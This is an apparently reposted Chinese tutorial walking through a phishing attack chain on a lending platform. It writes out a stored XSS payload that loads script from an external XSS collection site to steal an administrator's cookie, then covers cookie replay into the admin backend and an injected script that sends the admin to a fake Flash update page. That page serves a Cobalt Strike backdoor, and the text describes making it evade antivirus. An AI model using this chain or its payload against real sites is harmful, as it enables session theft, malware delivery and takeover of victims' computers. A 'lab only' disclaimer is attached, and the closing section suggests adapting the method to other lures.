网络安全学习:渗透测试钓鱼案例,夯实基础

网络安全学习:渗透测试钓鱼案例,夯实基础请注意:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。

简介

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>关注我,私信回复“资料”获取<一

一、前言

网络钓鱼是社会工程学攻击方式之一,主要是通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段!

网络钓鱼攻击是个人和公司在保护其信息安全方面面临的最常见的安全挑战之一。无论是获取密码等,还是其他敏感信息,黑客都在使用电子邮件、社交媒体、电话和任何可能的通信方式窃取有价值的数据。

网络钓鱼攻击的兴起对所有组织都构成了重大威胁。重要的是,如果他们要保护自己的信息,所有组织都应该知道如何发现一些最常见的网络钓鱼骗局。同样还要熟悉攻击者用来实施这些骗局的一些最常见的技术类型。

这篇主要演示如何利用XSS植入钓鱼,获得管理员内部电脑权限!

二、环境介绍

网络安全学习:渗透测试钓鱼案例,夯实基础

黑客(攻击者):

IP:192.168.1.9

系统:kali.2020.4

kali上作为cs的服务端!

VPS服务器:

thinkphp平台地址:http://test1.dayuixiyou.cn/

钓鱼地址:http://flash.dayuixiyou.cn

办公电脑:

系统:windwos7

双网卡:

192.168.175.153

10.10.1.5

目前kali上运行了Cobalt strike ,攻击者在自己的公网VPS服务器上制作了后门页面钓鱼,通过渗透发现thinkphp贷款平台页面存在XSS漏洞利用,通过插入XSS-js代码,植入链接,最终黑客控制管理员办公电脑的过程!!

三、XSS演示

此次演示贷款thinkphp平台在公网服务器上!

1、注册账号密码

网络安全学习:渗透测试钓鱼案例,夯实基础

进入个人中心!

网络安全学习:渗透测试钓鱼案例,夯实基础

注册用户名密码!

网络安全学习:渗透测试钓鱼案例,夯实基础

登录用户名密码后,普通用户界面!点击设置!

网络安全学习:渗透测试钓鱼案例,夯实基础

输入结算信息,测试下!

2、存在XSS漏洞

网络安全学习:渗透测试钓鱼案例,夯实基础

输入:

测试结果修改成功!查看下前端…

网络安全学习:渗透测试钓鱼案例,夯实基础

查看源代码-编辑后查看到没变动,XSS代码还是存在…说明存在XSS攻击

3、注册XSS平台

网络安全学习:渗透测试钓鱼案例,夯实基础

https://xss.pt/xss.php?do=login
进入XSS利用平台,google也有很多别的平台!!
随意注册一个账号!

网络安全学习:渗透测试钓鱼案例,夯实基础

创建一个新的项目,随意填写!

网络安全学习:渗透测试钓鱼案例,夯实基础

选择Keepsession保持会话!
下一步!

网络安全学习:渗透测试钓鱼案例,夯实基础

会弹出需要执行的XSS利用代码…选择标准代码测试!

</tExtArEa>'”><sCRiPt sRC=https://xss.pt..aJ></sCrIpT>

4、利用XSS漏洞

网络安全学习:渗透测试钓鱼案例,夯实基础

</tExtArEa>'”><sCRiPt sRC=https://xss.pt/..aJ></sCrIpT>

这一段就是payload!将XSS连接信息返回到https://xss.pt平台上!

网络安全学习:渗透测试钓鱼案例,夯实基础

提交信息后,可看到网络net中XSS执行成功了…

网络安全学习:渗透测试钓鱼案例,夯实基础

执行成功,那么XSS平台就收到了信息,可看到!

5、获取管理员cookie

网络安全学习:渗透测试钓鱼案例,夯实基础

点击提现…

网络安全学习:渗透测试钓鱼案例,夯实基础

申请结算,成功后,会将XSS执行代码转发到后台结算该模块中!

网络安全学习:渗透测试钓鱼案例,夯实基础

当后台管理员访问管理界面,给客户结算资金的时候,点击提现申请模块!就会执行XSS植入的代码!!

网络安全学习:渗透测试钓鱼案例,夯实基础

这时候,就返回了管理员的cookie和URL信息!

6、cookie登录后台

网络安全学习:渗透测试钓鱼案例,夯实基础

目录扫描获得管理后台登录页面,通过Burp suite转包拦截后!

网络安全学习:渗透测试钓鱼案例,夯实基础

将XSS平台获取XSS漏洞植入代码返回的包中,修改其中的url和cookie信息!

网络安全学习:渗透测试钓鱼案例,夯实基础

send执行后,通过cookie进入到了管理员后台!

网络安全学习:渗透测试钓鱼案例,夯实基础

网络安全学习:渗透测试钓鱼案例,夯实基础

复制URL!

网络安全学习:渗透测试钓鱼案例,夯实基础

浏览器中访问后,正常进入管理员后台!

四、利用XSS钓鱼

1、搭建Flash钓鱼页面

网络安全学习:渗透测试钓鱼案例,夯实基础

在公网服务器搭建钓鱼页面,任何能访问互联网客户都可以访问该页面!

2、生成免杀后门

网络安全学习:渗透测试钓鱼案例,夯实基础

利用Cobal Strike生成C#语言的shell…

网络安全学习:渗透测试钓鱼案例,夯实基础

利用该shell进行混淆,并利用python的tinyaes模块混淆也行,在来个分离免杀,最后利用pyinstaller生成exe外壳…必过全国杀毒软件!(不演示过程)
将flash修改名字为:flashplayer_install_cn.exe(或者修改为update等吸引人下载的名称都行)

3、修改Flash源码

网络安全学习:渗透测试钓鱼案例,夯实基础

这是Flash贷款平台源码文件目录!!

网络安全学习:渗透测试钓鱼案例,夯实基础

修改index.html代码,找到其中href=”进行修改为:flashplayer_install_cn.exe
意思就是点击页面立即下载就能自动下载目录下的exe后门文件!

网络安全学习:渗透测试钓鱼案例,夯实基础

在准备个js文件,意思是执行该js后,会在页面提示:

您的 FLASH 版本过低,尝试升级后访问该页面!

并访问到该页面:http://flash.dayuixiyou.cn/

网络安全学习:渗透测试钓鱼案例,夯实基础

将exe和js都上传到功能网服务器apache底层!
测试访问可看到正常读取,确保内网管理员能执行XSS后访问到js文件,这里就可以开始了!

4、利用XSS漏洞植入JS

网络安全学习:渗透测试钓鱼案例,夯实基础

可看到利用(三)中XSS利用的方法,执行插入:

“><”
#需要前后加入闭合 “> <”

网络安全学习:渗透测试钓鱼案例,夯实基础

当”立即提交” 后直接执行了XSS植入的js文件,并提示了js中的内容!!

然后点确定后,直接跳转到flash页面!

网络安全学习:渗透测试钓鱼案例,夯实基础

和(三)中的方法一样,需要在后台管理页面也执行XSS,需要结算金额,让管理员去结算的时候点击执行XSS!

5、执行XSS下载flash

网络安全学习:渗透测试钓鱼案例,夯实基础

可看到内网管理员上班期间,登录到管理后台,登录管理员用户后,工作职责需要给客户结算金额,点击了提现申请,一般客户安全意识极差!!

网络安全学习:渗透测试钓鱼案例,夯实基础

点击完成后,出现了您的 FLASH 版本过低,尝试升级后访问该页面!,一般情况下都会点击确认!

网络安全学习:渗透测试钓鱼案例,夯实基础

确认后跳转到flash页面,逼真的页面!!点击立即下载!!
这里有个20.1MB的大小信息,这里简单在html修改下数字和EXE内容大小即可!

网络安全学习:渗透测试钓鱼案例,夯实基础

可看到下载了该后门,这里图标我没修改,google或者百度利用Folder Changer修改成flash安装包的图标更逼真!!
这里的exe是全免杀的,杀毒软件都无法放行!!

6、成功XSS钓鱼

网络安全学习:渗透测试钓鱼案例,夯实基础

执行安装!

网络安全学习:渗透测试钓鱼案例,夯实基础

网络安全学习:渗透测试钓鱼案例,夯实基础

成功在kali攻击机上的CS上线,可看到获取到了管理员电脑的权限!!

网络安全渗透测试资料一>关注我,私信回复“资料”领取<一

五、总结

这里通过渗透中,找到了某平台的XSS漏洞,利用XSS漏洞植入代码执行,诱骗到了对方客服或者管理员的内网电脑权限!

其中最少需要熟悉如何搭站、HTML、js、域名、XSS、免杀、CS4等等知识才可搭建!

那么很多人都说flash都是经典的钓鱼漏洞了,全国警惕性都会高很多,那么我还是老话,提供的是思路,如果是一个激活成功教程软件,一个购买网站,一个利用虚荣心或者是贪小便宜的购物页面,等等进行钓鱼,进行各类的植入的话,那有多少人会中招?

希望大家提高安全意识,没有网络安全就没有国家安全!

虽然基础,但是必须牢记于心。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/11632.html

(0)

相关推荐

  • 停止for循环的方法:让循环条件为假

    停止for循环的方法:让循环条件为假在编程中,for循环指的是一种控制结构,可以在一定条件下重复执行代码块。for循环通常用于遍历序列(如列表、元组或字符串)或其他可迭代对象(如字典或文件)。Python中的for循环语法为:

    2024-02-01
    107
  • 用Python的bin函数实现数字转二进制

    用Python的bin函数实现数字转二进制二进制表示法是一种重要的数字表示方法,它在计算机科学领域扮演着重要的角色。二进制数由0和1组成,它们是计算机中最基本的存储单位。因此,数字转换为二进制的操作对于编写计算机程序非常有用。

    2024-09-18
    21
  • 数据库图书借阅管理系统设计_设计图书管理系统数据库作业

    数据库图书借阅管理系统设计_设计图书管理系统数据库作业本文为《图书借阅系统数据库设计》的第二篇文章,其它的内容可以查看之前或之后的文章,您的反馈是对我最大的鼓舞,谢谢大家!

    2023-07-03
    130
  • 阿卡利符文天赋(2023阿卡丽最新天赋符文加点)

    阿卡利符文天赋(2023阿卡丽最新天赋符文加点)

    2023-10-20
    209
  • 前端安全系列之二:如何防止CSRF攻击?[亲测有效]

    前端安全系列之二:如何防止CSRF攻击?[亲测有效]随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发…

    2023-07-14
    129
  • 一日一技:如何正确获取 MongoDB 集合里面的最后一条数据「终于解决」

    一日一技:如何正确获取 MongoDB 集合里面的最后一条数据「终于解决」一日一技:如何正确获取MongoDB集合里面的最后一条数据摄影:产品经理厨师:kingname在我们使用Python查询MongoDB的时候,一般会使用MongoDB的集合(collection)对…

    2023-04-06
    159
  • Python项目如何运行

    Python项目如何运行Python作为一种高级编程语言,在近年来越来越受到开发者的推崇。可以说,Python已经成为当今最流行的开发语言之一。在如今数据分析和人工智能这些领域中,Python的使用更是占据了不可替代的地位。而对于初学者来说,如何运行Python项目可能是一个需要掌握的基础技能。

    2024-09-16
    25
  • Android 10 适配攻略[通俗易懂]

    Android 10 适配攻略[通俗易懂]老规矩,首先将我们项目中的targetSdkVersion改为 29。 在Android 10之前的版本上,我们在做文件的操作时都会申请存储空间的读写权限。但是这些权限完全被滥用,造成的问题就是手机的存储空间中充斥着大量不明作用的文件,并且应用卸载后它也没有删除掉。为了解决这个…

    2023-07-24
    129

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注